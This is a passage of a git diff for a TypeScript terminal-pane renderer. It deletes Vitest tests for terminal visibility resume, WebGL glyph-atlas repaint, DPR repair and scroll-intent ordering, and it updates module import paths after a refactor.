-function resumeArgs(manager: FakeManager, shouldUseLightTabResume: boolean) {
-  return {
-    manager: manager as never as PaneManager,
-    isActive: true,
-    isChatViewMode: false,
-    wasVisible: false,
-    shouldUseLightTabResume,
-    captureViewportPositions: vi.fn(() => new Map()),
-    withSuppressedScrollTracking: (callback: () => void) => callback()
-  }
-}
-
-describe('resumeTerminalVisibility reveal repaint', () => {
-  beforeEach(() => {
-    vi.clearAllMocks()
-    repairPaneWebglCanvasDprMismatch.mockReturnValue(false)
-  })
-
-  afterEach(() => {
-    vi.unstubAllGlobals()
-  })
-
-  it('schedules an atlas-preserving present on a light tab reveal', () => {
-    // Light reveal does not resume/fit; it still needs present so pre-hide pixels cannot remain composited.
-    const manager = createManager()
-    resumeTerminalVisibility(resumeArgs(manager, true))
-
-    expect(manager.scheduleRevealRepaint).not.toHaveBeenCalled()
-    expect(manager.scheduleRevealPresent).toHaveBeenCalledTimes(1)
-    expect(manager.resumeRendering).not.toHaveBeenCalled()
-  })
-
-  it('captures native trim movement before enforcing viewport intent', async () => {
-    const terminal = { name: 'trimmed-terminal' }
-    const manager = createManager()
-    manager.getPanes.mockReturnValue([{ terminal }])
-    const { enforceTerminalCurrentScrollIntent, syncTerminalScrollIntentFromViewport } = vi.mocked(
-      await import('@/lib/pane-manager/terminal-scroll-intent')
-    )
-
-    resumeTerminalVisibility(resumeArgs(manager, true))
-
-    expect(syncTerminalScrollIntentFromViewport).toHaveBeenCalledWith(terminal)
-    expect(syncTerminalScrollIntentFromViewport.mock.invocationCallOrder[0]).toBeLessThan(
-      enforceTerminalCurrentScrollIntent.mock.invocationCallOrder[0] ?? Number.POSITIVE_INFINITY
-    )
-  })
-
-  it('resets each pane linkifier hover cache on reveal so links recover without a scroll', () => {
-    const first = { name: 'pane-a' }
-    const second = { name: 'pane-b' }
-    const manager = createManager()
-    manager.getPanes.mockReturnValue([{ terminal: first }, { terminal: second }])
-
-    resumeTerminalVisibility(resumeArgs(manager, false))
-
-    expect(resetTerminalLinkifierHoverState).toHaveBeenCalledWith(first)
-    expect(resetTerminalLinkifierHoverState).toHaveBeenCalledWith(second)
-  })
-
-  it('schedules the settled present after rendering resumes on a heavy reveal', () => {
-    const order: string[] = []
-    const manager = createManager(order)
-    resumeTerminalVisibility(resumeArgs(manager, false))
-
-    expect(order).toEqual(['resume-rendering', 'fit-reveal', 'reveal-present'])
-  })
-
-  it('routes a heavy reveal through fitAllRevealedPanes, not the sync fit', () => {
-    // Regression: the sync reveal fit applied a transient one-column DOM↔WebGL grid, garbling grok on restore.
-    const manager = createManager()
-    resumeTerminalVisibility(resumeArgs(manager, false))
-
-    expect(manager.fitAllRevealedPanes).toHaveBeenCalledTimes(1)
-    expect(manager.fitAllPanes).not.toHaveBeenCalled()
-  })
-
-  it('leaves heavy metric flushing to the reveal fit after rendering resumes', () => {
-    const manager = createManager()
-    manager.getPanes.mockReturnValue([{ terminal: {} }])
-
-    resumeTerminalVisibility(resumeArgs(manager, false))
-
-    expect(manager.resumeRendering).toHaveBeenCalledTimes(1)
-    expect(manager.fitAllRevealedPanes).toHaveBeenCalledTimes(1)
-    expect(flushDeferredPaneMetricOptionsIfMeasurable).not.toHaveBeenCalled()
-  })
-
-  it('rebuilds the atlas synchronously when a heavy reveal repaired a dpr mismatch', async () => {
-    // DPR changes invalidate shared atlas glyph sizes too; repair before the next paint instead of waiting two frames.
-    const pane = { terminal: {} }
-    const manager = createManager()
-    manager.getPanes.mockReturnValue([pane])
-    repairPaneWebglCanvasDprMismatch.mockReturnValueOnce(true)
-    const { resetAndRefreshAllTerminalWebglAtlases } = vi.mocked(
-      await import('@/lib/pane-manager/pane-manager-registry')
-    )
-
-    resumeTerminalVisibility(resumeArgs(manager, false))
-
-    expect(repairPaneWebglCanvasDprMismatch).toHaveBeenCalledWith(pane)
-    expect(resetAndRefreshAllTerminalWebglAtlases).toHaveBeenCalledTimes(1)
-    expect(resetAndRefreshAllTerminalWebglAtlases).toHaveBeenCalledWith('visibility-resume-dpr')
-    expect(presentPaneViewport).not.toHaveBeenCalled()
-    expect(manager.scheduleRevealRepaint).toHaveBeenCalledTimes(1)
-  })
-
-  it('presents immediately on a heavy reveal so no pre-hide pixels survive the settle', async () => {
-    // Present now; settled rebuilding may take longer than two frames under load.
-    const pane = { terminal: {} }
-    const manager = createManager()
-    manager.getPanes.mockReturnValue([pane])
-    const { resetAndRefreshAllTerminalWebglAtlases } = vi.mocked(
-      await import('@/lib/pane-manager/pane-manager-registry')
-    )
-
-    resumeTerminalVisibility(resumeArgs(manager, false))
-
-    expect(presentPaneViewport).toHaveBeenCalledWith(pane)
-    // A healthy shared atlas is never cleared on an ordinary reveal.
-    expect(resetAndRefreshAllTerminalWebglAtlases).not.toHaveBeenCalled()
-    expect(manager.scheduleRevealRepaint).not.toHaveBeenCalled()
-  })
-
-  it('does not fit on a light tab reveal', () => {
-    const manager = createManager()
-    resumeTerminalVisibility(resumeArgs(manager, true))
-
-    expect(manager.fitAllRevealedPanes).not.toHaveBeenCalled()
-    expect(manager.fitAllPanes).not.toHaveBeenCalled()
-  })
-
-  it.each([
-    ['light', true],
-    ['heavy', false]
-  ])('does not focus the covered terminal on a %s chat reveal', async (_path, lightResume) => {
-    const manager = createManager()
-    const args = resumeArgs(manager, lightResume)
-    args.isChatViewMode = true
-    const { focusActivePane } = vi.mocked(await import('../../input/focus/mounted-pane-focus'))
-
-    resumeTerminalVisibility(args)
-
-    expect(focusActivePane).not.toHaveBeenCalled()
-  })
-
-  it.each([
-    ['light', true],
-    ['heavy', false]
-  ])('keeps focusing an active terminal on a %s reveal', async (_path, lightResume) => {
-    const manager = createManager()
-    const { focusActivePane } = vi.mocked(await import('../../input/focus/mounted-pane-focus'))
-
-    resumeTerminalVisibility(resumeArgs(manager, lightResume))
-
-    expect(focusActivePane).toHaveBeenCalledWith(manager)
-  })
-
-  it('checks each pane for a stale WebGL backing on a light tab reveal', () => {
-    const first = { terminal: { name: 'pane-a' } }
-    const second = { terminal: { name: 'pane-b' } }
-    const manager = createManager()
-    manager.getPanes.mockReturnValue([first, second])
-
-    resumeTerminalVisibility(resumeArgs(manager, true))
-
-    expect(repairPaneWebglCanvasDprMismatch).toHaveBeenCalledTimes(2)
-    expect(repairPaneWebglCanvasDprMismatch).toHaveBeenNthCalledWith(1, first)
-    expect(repairPaneWebglCanvasDprMismatch).toHaveBeenNthCalledWith(2, second)
-  })
-
-  it('flushes hidden-era metric options on reveal and refits the light path', () => {
-    // Flush hidden font changes and refit or grid dimensions retain stale metrics.
-    const manager = createManager()
-    manager.getPanes.mockReturnValue([{ terminal: {} }])
-    flushDeferredPaneMetricOptionsIfMeasurable.mockReturnValueOnce(true)
-
-    resumeTerminalVisibility(resumeArgs(manager, true))
-
-    expect(flushDeferredPaneMetricOptionsIfMeasurable).toHaveBeenCalledTimes(1)
-    expect(manager.fitAllRevealedPanes).toHaveBeenCalledTimes(1)
-  })
-
-  it('fits window wake recovery through the stable path, not the sync fit', () => {
-    const manager = createManager()
-    recoverVisibleTerminalWindowWake({
-      manager: manager as never as PaneManager,
-      isActive: true,
-      isChatViewMode: false,
-      clearGlyphAtlases: false
-    })
-
-    expect(manager.fitAllRevealedPanes).toHaveBeenCalledTimes(1)
-    expect(manager.fitAllPanes).not.toHaveBeenCalled()
-  })
-
-  it('does not focus the covered terminal during chat window-wake recovery', async () => {
-    const manager = createManager()
-    const { focusActivePane } = vi.mocked(await import('../../input/focus/mounted-pane-focus'))
-
-    recoverVisibleTerminalWindowWake({
-      manager: manager as never as PaneManager,
-      isActive: true,
-      isChatViewMode: true,
-      clearGlyphAtlases: false
-    })
-
-    expect(focusActivePane).not.toHaveBeenCalled()
-  })
-
-  it('repairs WebGL canvas backing-store dpr on window wake', () => {
-    // Undock can change DPR without hiding the pane, so tab reveal never repairs it.
-    const first = { terminal: { name: 'pane-a' } }
-    const second = { terminal: { name: 'pane-b' } }
-    const manager = createManager()
-    manager.getPanes.mockReturnValue([first, second])
-    repairPaneWebglCanvasDprMismatch.mockReturnValueOnce(true)
-
-    recoverVisibleTerminalWindowWake({
-      manager: manager as never as PaneManager,
-      isActive: true,
-      isChatViewMode: false,
-      clearGlyphAtlases: false
-    })
-
-    expect(repairPaneWebglCanvasDprMismatch).toHaveBeenCalledTimes(2)
-    expect(repairPaneWebglCanvasDprMismatch).toHaveBeenNthCalledWith(1, first)
-    expect(repairPaneWebglCanvasDprMismatch).toHaveBeenNthCalledWith(2, second)
-    expect(presentPaneViewport).toHaveBeenCalledWith(first)
-  })
-
-  it('latches viewport intent before refocus recovery flushes streaming output', async () => {
-    const terminal = { name: 'streaming-terminal' }
-    const manager = createManager()
-    manager.getPanes.mockReturnValue([{ terminal }])
-    const { syncTerminalScrollIntentFromViewport } = vi.mocked(
-      await import('@/lib/pane-manager/terminal-scroll-intent')
-    )
-    const { flushTerminalOutput } = vi.mocked(
-      await import('@/lib/pane-manager/pane-terminal-output-scheduler')
-    )
-
-    recoverVisibleTerminalWindowWake({
-      manager: manager as never as PaneManager,
-      isActive: true,
-      isChatViewMode: false,
-      clearGlyphAtlases: false
-    })
-
-    expect(flushTerminalOutput).toHaveBeenCalledOnce()
-    expect(syncTerminalScrollIntentFromViewport).toHaveBeenCalledOnce()
-    expect(syncTerminalScrollIntentFromViewport.mock.invocationCallOrder[0]).toBeLessThan(
-      flushTerminalOutput.mock.invocationCallOrder[0] ?? Number.POSITIVE_INFINITY
-    )
-  })
-
-  it('does not overwrite pre-reveal intent after queuing hidden output', async () => {
-    const terminal = { name: 'hidden-streaming-terminal' }
-    const manager = createManager()
-    manager.getPanes.mockReturnValue([{ terminal }])
-    const { syncTerminalScrollIntentFromViewport } = vi.mocked(
-      await import('@/lib/pane-manager/terminal-scroll-intent')
-    )
-    const { flushTerminalOutput } = vi.mocked(
-      await import('@/lib/pane-manager/pane-terminal-output-scheduler')
-    )
-
-    resumeTerminalVisibility(resumeArgs(manager, false))
-
-    expect(flushTerminalOutput).toHaveBeenCalledOnce()
-    expect(syncTerminalScrollIntentFromViewport).toHaveBeenCalledOnce()
-    expect(syncTerminalScrollIntentFromViewport.mock.invocationCallOrder[0]).toBeLessThan(
-      flushTerminalOutput.mock.invocationCallOrder[0] ?? Number.POSITIVE_INFINITY
-    )
-  })
-
-  it('resets each pane linkifier hover cache on window wake recovery so links recover without a scroll', () => {
-    const first = { name: 'pane-a' }
-    const second = { name: 'pane-b' }
-    const manager = createManager()
-    manager.getPanes.mockReturnValue([{ terminal: first }, { terminal: second }])
-
-    recoverVisibleTerminalWindowWake({
-      manager: manager as never as PaneManager,
-      isActive: true,
-      isChatViewMode: false,
-      clearGlyphAtlases: false
-    })
-
-    expect(resetTerminalLinkifierHoverState).toHaveBeenCalledWith(first)
-    expect(resetTerminalLinkifierHoverState).toHaveBeenCalledWith(second)
-  })
-
-  it('keeps a genuinely-hovered link intact on window wake recovery', () => {
-    const hovered = { name: 'hovered-pane' }
-    const manager = createManager()
-    manager.getPanes.mockReturnValue([{ terminal: hovered }])
-    isTerminalLinkifierHoverActive.mockReturnValueOnce(true)
-
-    recoverVisibleTerminalWindowWake({
-      manager: manager as never as PaneManager,
-      isActive: true,
-      isChatViewMode: false,
-      clearGlyphAtlases: false
-    })
-
-    expect(resetTerminalLinkifierHoverState).not.toHaveBeenCalled()
-  })
-
-  it('schedules the atlas-clearing repaint on genuine wake recovery', () => {
-    const manager = createManager()
-    recoverVisibleTerminalWindowWake({
-      manager: manager as never as PaneManager,
-      isActive: false,
-      isChatViewMode: false,
-      clearGlyphAtlases: true
-    })
-
-    expect(manager.scheduleRevealRepaint).toHaveBeenCalledTimes(1)
-    expect(manager.scheduleRevealPresent).not.toHaveBeenCalled()
-  })
-
-  it('clears shared glyph atlases only on genuine wake recovery', async () => {
-    const { resetAndRefreshAllTerminalWebglAtlases } = vi.mocked(
-      await import('@/lib/pane-manager/pane-manager-registry')
-    )
-    const manager = createManager()
-    recoverVisibleTerminalWindowWake({
-      manager: manager as never as PaneManager,
-      isActive: false,
-      isChatViewMode: false,
-      clearGlyphAtlases: true
-    })
-
-    expect(resetAndRefreshAllTerminalWebglAtlases).toHaveBeenCalledTimes(1)
-  })
-
-  it('keeps the warm glyph atlas on plain-refocus recovery', async () => {
-    // Plain refocus must preserve the atlas: shared clears trigger mass rasterization and page-merge races that garble streaming panes (#4480).
-    const { resetAndRefreshAllTerminalWebglAtlases } = vi.mocked(
-      await import('@/lib/pane-manager/pane-manager-registry')
-    )
-    const manager = createManager()
-    recoverVisibleTerminalWindowWake({
-      manager: manager as never as PaneManager,
-      isActive: false,
-      isChatViewMode: false,
-      clearGlyphAtlases: false
-    })
-
-    expect(resetAndRefreshAllTerminalWebglAtlases).not.toHaveBeenCalled()
-    expect(manager.resumeRendering).toHaveBeenCalledTimes(1)
-    expect(manager.scheduleRevealPresent).toHaveBeenCalledTimes(1)
-    expect(manager.scheduleRevealRepaint).not.toHaveBeenCalled()
-  })
-})
diff --git a/src/renderer/src/components/terminal-pane/viewport/visibility/terminal-visibility-resume.ts b/src/renderer/src/components/terminal-pane/viewport/visibility/terminal-visibility-resume.ts
index 243a1ab405c..ff351050acf 100644
--- a/src/renderer/src/components/terminal-pane/viewport/visibility/terminal-visibility-resume.ts
+++ b/src/renderer/src/components/terminal-pane/viewport/visibility/terminal-visibility-resume.ts
@@ -1,24 +1,24 @@
 import type { PaneManager } from '@/lib/pane-manager/pane-manager'
-import type { ScrollState } from '@/lib/pane-manager/pane-manager-types'
+import type { ScrollState } from '@/lib/pane-manager/terminal-scroll/pane-scroll-snapshot'
 import { resetAndRefreshAllTerminalWebglAtlases } from '@/lib/pane-manager/pane-manager-registry'
 import {
   flushTerminalOutput,
   requestTerminalBacklogRecovery
-} from '@/lib/pane-manager/pane-terminal-output-scheduler'
+} from '@/lib/pane-manager/terminal-output/pane-terminal-output-scheduler'
 import {
   enforceTerminalCurrentScrollIntent,
   syncTerminalScrollIntentFromViewport
-} from '@/lib/pane-manager/terminal-scroll-intent'
+} from '@/lib/pane-manager/terminal-scroll/terminal-scroll-intent'
 import {
   isTerminalLinkifierHoverActive,
   resetTerminalLinkifierHoverState
-} from '@/lib/pane-manager/terminal-linkifier-hover-reset'
+} from '@/lib/pane-manager/terminal-input/terminal-linkifier-hover-reset'
 import { focusActivePane } from '../../input/focus/mounted-pane-focus'
 import { useAppStore } from '@/store/index'
 import { auditPaneWeightParity } from '../../render-health/terminal-render-desync-weight-probe'
-import { flushDeferredPaneMetricOptionsIfMeasurable } from '@/lib/pane-manager/pane-fit-measurability'
-import { repairPaneWebglCanvasDprMismatch } from '@/lib/pane-manager/terminal-canvas-dpr-repair'
-import { presentPaneViewport } from '@/lib/pane-manager/pane-viewport-present'
+import { flushDeferredPaneMetricOptionsIfMeasurable } from '@/lib/pane-manager/terminal-fit/pane-fit-measurability'
+import { repairPaneWebglCanvasDprMismatch } from '@/lib/pane-manager/terminal-rendering/terminal-canvas-dpr-repair'
+import { presentPaneViewport } from '@/lib/pane-manager/terminal-rendering/pane-viewport-present'
 
 const VISIBLE_RESUME_FLUSH_CHARS = 256 * 1024
 const WINDOW_WAKE_FLUSH_CHARS = 64 * 1024
diff --git a/src/renderer/src/components/terminal-pane/viewport/visibility/use-terminal-pane-global-effects-visibility-resume.test.ts b/src/renderer/src/components/terminal-pane/viewport/visibility/use-terminal-pane-global-effects-visibility-resume.test.ts
deleted file mode 100644
index 40ff9af8ccd..00000000000
--- a/src/renderer/src/components/terminal-pane/viewport/visibility/use-terminal-pane-global-effects-visibility-resume.test.ts
+++ /dev/null
@@ -1,571 +0,0 @@
-import type * as ReactModule from 'react'
-import type * as StoreModule from '@/store/index'
-import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
-import { schedulePaneRevealRepaint } from '@/lib/pane-manager/pane-reveal-repaint'
-import { useTerminalPaneGlobalEffects } from './use-terminal-pane-global-effects'
-import {
-  cleanupGlobalEffectsTestWindow,
-  createLivePaneManagerRegistry,
-  installGlobalEffectsTestWindow
-} from './terminal-pane-visibility-test-harness'
-
-const mocks = vi.hoisted(() => ({
-  captureScrollState: vi.fn(),
-  fitAndFocusPanes: vi.fn(),
-  fitPanes: vi.fn(),
-  focusActivePane: vi.fn(),
-  flushTerminalOutput: vi.fn(),
-  getTerminalOutputEpoch: vi.fn(() => 0),
-  enforceTerminalCurrentScrollIntent: vi.fn(),
-  syncTerminalScrollIntentFromViewport: vi.fn(),
-  pasteTerminalText: vi.fn(),
-  recordTerminalUserInputForLeaf: vi.fn(),
-  requestTerminalBacklogRecovery: vi.fn(),
-  restoreScrollState: vi.fn(),
-  restoreScrollStateAfterLayout: vi.fn()
-}))
-
-const reactRefState = vi.hoisted(() => ({
-  slots: [] as { current: unknown }[],
-  index: 0
-}))
-
-function beginHookRender(): void {
-  reactRefState.index = 0
-}
-
-function resetHookRefs(): void {
-  reactRefState.slots = []
-  reactRefState.index = 0
-}
-
-vi.mock('react', async (importOriginal) => {
-  const actual = await importOriginal<typeof ReactModule>()
-  return {
-    ...actual,
-    useCallback: <T extends (...args: never[]) => unknown>(callback: T) => callback,
-    useEffect: (effect: () => void | (() => void)) => {
-      effect()
-    },
-    useRef: <T>(value: T) => {
-      const index = reactRefState.index
-      reactRefState.index += 1
-      if (!reactRefState.slots[index]) {
-        reactRefState.slots[index] = { current: value }
-      }
-      return reactRefState.slots[index] as { current: T }
-    }
-  }
-})
-
-vi.mock('../mounted-pane-fit', () => ({
-  fitAndFocusPanes: mocks.fitAndFocusPanes,
-  fitPanes: mocks.fitPanes
-}))
-vi.mock('../../input/focus/mounted-pane-focus', () => ({
-  focusActivePane: mocks.focusActivePane
-}))
-
-vi.mock('@/lib/pane-manager/pane-terminal-output-scheduler', () => ({
-  flushTerminalOutput: mocks.flushTerminalOutput,
-  requestTerminalBacklogRecovery: mocks.requestTerminalBacklogRecovery
-}))
-
-vi.mock('@/lib/pane-manager/pane-scroll', () => ({
-  captureScrollState: mocks.captureScrollState,
-  getTerminalOutputEpoch: mocks.getTerminalOutputEpoch,
-  restoreScrollState: mocks.restoreScrollState,
-  restoreScrollStateAfterLayout: mocks.restoreScrollStateAfterLayout
-}))
-
-vi.mock('@/lib/pane-manager/terminal-scroll-intent', () => ({
-  enforceTerminalCurrentScrollIntent: mocks.enforceTerminalCurrentScrollIntent,
-  syncTerminalScrollIntentFromViewport: mocks.syncTerminalScrollIntentFromViewport
-}))
-
-vi.mock('../../input/paste/terminal-bracketed-paste', () => ({
-  pasteTerminalText: mocks.pasteTerminalText
-}))
-
-vi.mock('../../input/terminal-input-activity', () => ({
-  recordTerminalUserInputForLeaf: mocks.recordTerminalUserInputForLeaf
-}))
-
-// This harness runs hooks without React rendering; use real synchronous store snapshots instead of reactive selectors that would throw invalid-hook-call.
-vi.mock('@/store/index', async (importOriginal) => {
-  const actual = await importOriginal<typeof StoreModule>()
-  const realHook = actual.useAppStore
-  const testHook = ((selector?: (state: ReturnType<typeof realHook.getState>) => unknown) =>
-    selector ? selector(realHook.getState()) : realHook.getState()) as typeof realHook
-  Object.assign(testHook, realHook)
-  return { ...actual, useAppStore: testHook }
-})
-
-describe('useTerminalPaneGlobalEffects', () => {
-  const { registerManagerForReset, unregisterAllManagers } = createLivePaneManagerRegistry()
-
-  beforeEach(() => {
-    resetHookRefs()
-    vi.clearAllMocks()
-    installGlobalEffectsTestWindow()
-  })
-
-  afterEach(() => {
-    unregisterAllManagers()
-    vi.useRealTimers()
-    vi.unstubAllGlobals()
-    cleanupGlobalEffectsTestWindow()
-  })
-
-  it('flushes visible terminal panes before resuming rendering and fitting', () => {
-    vi.useFakeTimers()
-    vi.stubGlobal('requestAnimationFrame', undefined)
-    const order: string[] = []
-    const terminalA = { name: 'terminal-a' }
-    const terminalB = { name: 'terminal-b' }
-    const getPanes = vi.fn(() => [
-      { id: 1, terminal: terminalA },
-      { id: 2, terminal: terminalB }
-    ])
-    const manager = {
-      getPanes,
-      resumeRendering: vi.fn(() => order.push('resume')),
-      resetWebglTextureAtlases: vi.fn(() => order.push('reset-atlas')),
-      scheduleRevealRepaint: vi.fn(() => {
-        order.push('reveal-repaint')
-        schedulePaneRevealRepaint(getPanes as never)
-      }),
-      scheduleRevealPresent: vi.fn(() => order.push('reveal-present')),
-      refreshAllPanes: vi.fn(() => order.push('refresh')),
-      suspendRendering: vi.fn(),
-      fitAllPanes: vi.fn(),
-      fitAllRevealedPanes: vi.fn(() => order.push('fit-reveal')),
-      getActivePane: vi.fn(() => null),
-      setActivePane: vi.fn()
-    }
-    mocks.flushTerminalOutput.mockImplementation((terminal: { name: string }) => {
-      order.push(`flush:${terminal.name}`)
-    })
-    mocks.requestTerminalBacklogRecovery.mockImplementation((terminal: { name: string }) => {
-      order.push(`recover:${terminal.name}`)
-    })
-    mocks.captureScrollState.mockImplementation((terminal: { name: string }) => {
-      order.push(`capture:${terminal.name}`)
-      return { terminalName: terminal.name }
-    })
-    mocks.restoreScrollStateAfterLayout.mockImplementation((terminal: { name: string }) => {
-      order.push(`restore:${terminal.name}`)
-    })
-    mocks.enforceTerminalCurrentScrollIntent.mockImplementation((terminal: { name: string }) => {
-      order.push(`intent:${terminal.name}`)
-    })
-    mocks.fitAndFocusPanes.mockImplementation(() => order.push('fit-focus'))
-
-    // Why: the settled reveal resets atlases through the live-manager registry.
-    registerManagerForReset(manager)
-    const isActiveRef = { current: false }
-    const isVisibleRef = { current: false }
-    beginHookRender()
-    useTerminalPaneGlobalEffects({
-      tabId: 'tab-1',
-      isActive: true,
-      isVisible: true,
-      isSyncFitEnabled: true,
-      paneCount: 2,
-      managerRef: { current: manager as never },
-      containerRef: { current: null },
-      paneTransportsRef: { current: new Map() },
-      isActiveRef,
-      isVisibleRef,
-      toggleExpandPane: vi.fn()
-    })
-
-    expect(order).toEqual([
-      'capture:terminal-a',
-      'capture:terminal-b',
-      'recover:terminal-a',
-      'flush:terminal-a',
-      'recover:terminal-b',
-      'flush:terminal-b',
-      'resume',
-      'fit-reveal',
-      'intent:terminal-a',
-      'intent:terminal-b',
-      'reveal-present'
-    ])
-    vi.advanceTimersByTime(0)
-    // A healthy shared atlas is not cleared on an ordinary worktree reveal.
-    expect(manager.resetWebglTextureAtlases).not.toHaveBeenCalled()
-    expect(manager.scheduleRevealRepaint).not.toHaveBeenCalled()
-    expect(mocks.restoreScrollStateAfterLayout).not.toHaveBeenCalled()
-    expect(mocks.flushTerminalOutput).toHaveBeenNthCalledWith(1, terminalA, {
-      maxChars: 256 * 1024
-    })
-    expect(mocks.flushTerminalOutput).toHaveBeenNthCalledWith(2, terminalB, {
-      maxChars: 256 * 1024
-    })
-    expect(mocks.fitPanes).not.toHaveBeenCalled()
-    expect(isActiveRef.current).toBe(true)
-    expect(isVisibleRef.current).toBe(true)
-  })
-
-  it('uses a light resume for tab switches while the worktree stays active', () => {
-    vi.useFakeTimers()
-    vi.stubGlobal(
-      'requestAnimationFrame',
-      vi.fn((callback: FrameRequestCallback) => {
-        callback(0)
-        return 1
-      })
-    )
-    const terminal = { name: 'terminal-a' }
-    const manager = {
-      getPanes: vi.fn(() => [{ id: 1, terminal }]),
-      resumeRendering: vi.fn(),
-      resetWebglTextureAtlases: vi.fn(),
-      scheduleRevealRepaint: vi.fn(),
-      scheduleRevealPresent: vi.fn(),
-      refreshAllPanes: vi.fn(),
-      suspendRendering: vi.fn(),
-      fitAllPanes: vi.fn(),
-      fitAllRevealedPanes: vi.fn(),
-      getActivePane: vi.fn(() => null),
-      setActivePane: vi.fn()
-    }
-    registerManagerForReset(manager)
-    const baseArgs = {
-      tabId: 'tab-1',
-      managerRef: { current: manager as never },
-      containerRef: { current: null },
-      paneTransportsRef: { current: new Map() },
-      isActiveRef: { current: false },
-      isVisibleRef: { current: false },
-      paneCount: 1,
-      isSyncFitEnabled: true,
-      isWorktreeActive: true,
-      toggleExpandPane: vi.fn()
-    }
-
-    beginHookRender()
-    useTerminalPaneGlobalEffects({
-      ...baseArgs,
-      isActive: true,
-      isVisible: true
-    })
-
-    manager.resumeRendering.mockClear()
-    manager.resetWebglTextureAtlases.mockClear()
-    manager.scheduleRevealRepaint.mockClear()
-    manager.scheduleRevealPresent.mockClear()
-    manager.refreshAllPanes.mockClear()
-    manager.suspendRendering.mockClear()
-    mocks.fitAndFocusPanes.mockClear()
-    mocks.fitPanes.mockClear()
-    mocks.focusActivePane.mockClear()
-    mocks.flushTerminalOutput.mockClear()
-    mocks.requestTerminalBacklogRecovery.mockClear()
-
-    beginHookRender()
-    useTerminalPaneGlobalEffects({
-      ...baseArgs,
-      isActive: false,
-      isVisible: false
-    })
-
-    expect(manager.suspendRendering).not.toHaveBeenCalled()
-
-    beginHookRender()
-    useTerminalPaneGlobalEffects({
-      ...baseArgs,
-      isActive: true,
-      isVisible: true
-    })
-
-    expect(mocks.requestTerminalBacklogRecovery).toHaveBeenCalledWith(terminal)
-    expect(mocks.flushTerminalOutput).not.toHaveBeenCalled()
-    expect(manager.resumeRendering).not.toHaveBeenCalled()
-    expect(mocks.fitAndFocusPanes).not.toHaveBeenCalled()
-    expect(mocks.fitPanes).not.toHaveBeenCalled()
-    expect(manager.resetWebglTextureAtlases).not.toHaveBeenCalled()
-    expect(manager.refreshAllPanes).not.toHaveBeenCalled()
-    expect(manager.scheduleRevealRepaint).not.toHaveBeenCalled()
-    expect(manager.scheduleRevealPresent).toHaveBeenCalledTimes(1)
-    expect(mocks.focusActivePane).toHaveBeenCalledWith(manager)
-    vi.advanceTimersByTime(500)
-  })
-
-  it.each([
-    ['skips focus while the chat leaf is active', true],
-    ['keeps focusing an active split terminal leaf', false]
-  ])('chat view mode %s', (_label, covered) => {
-    vi.stubGlobal(
-      'requestAnimationFrame',
-      vi.fn((callback: FrameRequestCallback) => {
-        callback(0)
-        return 1
-      })
-    )
-    const pane = {
-      id: 1,
-      terminal: { name: 'terminal-a' },
-      container: { querySelector: vi.fn(() => (covered ? {} : null)) }
-    }
-    const manager = {
-      getPanes: vi.fn(() => [pane]),
-      resumeRendering: vi.fn(),
-      resetWebglTextureAtlases: vi.fn(),
-      scheduleRevealRepaint: vi.fn(),
-      scheduleRevealPresent: vi.fn(),
-      refreshAllPanes: vi.fn(),
-      suspendRendering: vi.fn(),
-      fitAllPanes: vi.fn(),
-      fitAllRevealedPanes: vi.fn(),
-      getActivePane: vi.fn(() => pane),
-      setActivePane: vi.fn()
-    }
-    registerManagerForReset(manager)
-
-    beginHookRender()
-    useTerminalPaneGlobalEffects({
-      tabId: 'tab-1',
-      managerRef: { current: manager as never },
-      containerRef: { current: null },
-      paneTransportsRef: { current: new Map() },
-      isActiveRef: { current: false },
-      isVisibleRef: { current: false },
-      paneCount: 1,
-      isSyncFitEnabled: true,
-      isWorktreeActive: true,
-      toggleExpandPane: vi.fn(),
-      isActive: true,
-      isVisible: true,
-      isChatViewMode: true
-    })
-
-    expect(pane.container.querySelector).toHaveBeenCalledWith('.native-chat-pane-shell')
-    if (covered) {
-      expect(mocks.focusActivePane).not.toHaveBeenCalled()
-    } else {
-      expect(mocks.focusActivePane).toHaveBeenCalledWith(manager)
-    }
-  })
-
-  it('keeps visible active-state updates on the light resume path', () => {
-    vi.useFakeTimers()
-    vi.stubGlobal(
-      'requestAnimationFrame',
-      vi.fn((callback: FrameRequestCallback) => {
-        callback(0)
-        return 1
-      })
-    )
-    const terminal = { name: 'terminal-a' }
-    const manager = {
-      getPanes: vi.fn(() => [{ id: 1, terminal }]),
-      resumeRendering: vi.fn(),
-      resetWebglTextureAtlases: vi.fn(),
-      scheduleRevealRepaint: vi.fn(),
-      scheduleRevealPresent: vi.fn(),
-      refreshAllPanes: vi.fn(),
-      suspendRendering: vi.fn(),
-      fitAllPanes: vi.fn(),
-      fitAllRevealedPanes: vi.fn(),
-      getActivePane: vi.fn(() => null),
-      setActivePane: vi.fn()
-    }
-    registerManagerForReset(manager)
-    const baseArgs = {
-      tabId: 'tab-1',
-      managerRef: { current: manager as never },
-      containerRef: { current: null },
-      paneTransportsRef: { current: new Map() },
-      isActiveRef: { current: false },
-      isVisibleRef: { current: false },
-      paneCount: 1,
-      isSyncFitEnabled: true,
-      isWorktreeActive: true,
-      toggleExpandPane: vi.fn()
-    }
-
-    beginHookRender()
-    useTerminalPaneGlobalEffects({
-      ...baseArgs,
-      isActive: false,
-      isVisible: true
-    })
-
-    manager.resumeRendering.mockClear()
-    manager.resetWebglTextureAtlases.mockClear()
-    manager.scheduleRevealRepaint.mockClear()
-    manager.scheduleRevealPresent.mockClear()
-    manager.refreshAllPanes.mockClear()
-    mocks.fitAndFocusPanes.mockClear()
-    mocks.fitPanes.mockClear()
-    mocks.focusActivePane.mockClear()
-    mocks.flushTerminalOutput.mockClear()
-    mocks.requestTerminalBacklogRecovery.mockClear()
-
-    beginHookRender()
-    useTerminalPaneGlobalEffects({
-      ...baseArgs,
-      isActive: true,
-      isVisible: true
-    })
-
-    expect(mocks.requestTerminalBacklogRecovery).toHaveBeenCalledWith(terminal)
-    expect(mocks.flushTerminalOutput).not.toHaveBeenCalled()
-    expect(manager.resumeRendering).not.toHaveBeenCalled()
-    expect(mocks.fitAndFocusPanes).not.toHaveBeenCalled()
-    expect(mocks.fitPanes).not.toHaveBeenCalled()
-    expect(manager.resetWebglTextureAtlases).not.toHaveBeenCalled()
-    expect(manager.refreshAllPanes).not.toHaveBeenCalled()
-    expect(manager.scheduleRevealRepaint).not.toHaveBeenCalled()
-    expect(manager.scheduleRevealPresent).toHaveBeenCalledTimes(1)
-    expect(mocks.focusActivePane).toHaveBeenCalledWith(manager)
-    vi.advanceTimersByTime(500)
-  })
-
-  it('suspends rendering when a terminal tab first mounts hidden', () => {
